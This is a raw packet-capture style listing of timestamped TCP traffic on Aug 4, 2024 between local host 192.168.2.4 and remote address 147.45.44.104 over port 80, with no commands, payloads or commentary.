Aug 4, 2024 02:21:38.293382883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293409109 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293417931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293442011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293448925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293474913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293482065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293513060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293515921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293548107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293560028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293582916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293591976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293627024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293632030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293668032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293672085 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293704987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293710947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293740034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293745995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293772936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293781042 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293806076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293821096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293838978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293843031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293872118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293880939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293905020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293915987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293945074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.293946028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.293986082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.333399057 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333442926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333471060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333487034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333501101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333515882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333533049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333550930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.333564043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.333564043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.333564043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.333580971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.333599091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.376827955 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376854897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376905918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376921892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376939058 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376950026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.376956940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376979113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376993895 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.376996994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377011061 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377039909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377672911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377707958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377758980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377759933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377794981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377805948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377827883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377836943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377860069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377871037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377893925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377908945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377934933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.377945900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377979040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.377985954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378010988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378027916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378091097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378102064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378123999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378137112 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378160954 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378173113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378207922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378213882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378253937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378259897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378287077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378300905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378320932 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378335953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378355980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378365040 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378388882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378401041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378422022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378443956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378504992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378505945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378540039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378552914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378575087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378587008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378609896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378623009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378643990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378650904 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378678083 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378688097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378711939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378721952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378745079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378757954 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378777981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378784895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378829002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378830910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378864050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378874063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378895998 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378909111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378927946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378937006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.378964901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.378974915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379000902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379010916 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379034042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379045963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379076004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379192114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379225969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379237890 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379260063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379295111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379326105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379333019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379333019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379349947 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379364967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379370928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379396915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379410028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379430056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379456997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379462957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379470110 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379496098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379506111 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379528999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379540920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379560947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379569054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379595041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379601955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379637003 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379648924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379682064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379693985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379723072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379724979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379756927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379769087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379800081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379808903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379837990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379858971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379869938 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379879951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379901886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379914045 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379935026 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379947901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.379970074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.379980087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380013943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380019903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380053043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380062103 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380084991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380095005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380116940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380126953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380148888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380160093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380186081 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380191088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380218029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380223989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380249023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380264997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380278111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380290031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380311012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380321026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380342960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380353928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380376101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380387068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380409956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380439043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380443096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380461931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380476952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380500078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380537033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380569935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380584955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380604029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380615950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380636930 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380650997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380667925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380678892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380711079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380897045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380929947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380963087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.380974054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.380995035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381007910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381026983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381035089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381059885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381073952 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381092072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381102085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381124020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381129026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381155968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381166935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381189108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381196976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381222010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381231070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381254911 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381264925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381287098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381313086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381320000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381335974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381351948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381367922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381386042 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381393909 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381422043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381429911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381455898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381467104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381489992 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381500006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381525040 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381537914 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381557941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381575108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381591082 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381602049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381623983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381639004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381658077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.381665945 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.381700039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422317028 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422384024 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422420025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422446012 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422454119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422477007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422488928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422501087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422522068 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422529936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422554970 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422566891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422591925 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.422595024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.422631979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466110945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466178894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466216087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466216087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466248989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466284037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466310024 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466315031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466353893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466430902 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466500044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466553926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466598034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466617107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466650009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466726065 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466763020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466778994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466797113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466811895 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466829062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466844082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466861963 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466876984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466897964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466909885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466943026 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.466948986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466979980 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.466990948 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467014074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467030048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467046022 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467058897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467078924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467089891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467112064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467123985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467144966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467160940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467180014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467187881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467223883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467432976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467464924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467487097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467497110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467506886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467530012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467534065 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467562914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467572927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467596054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467607021 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.467628956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.467639923 CEST	49757	80	192.168.2.4	147.45.44.104
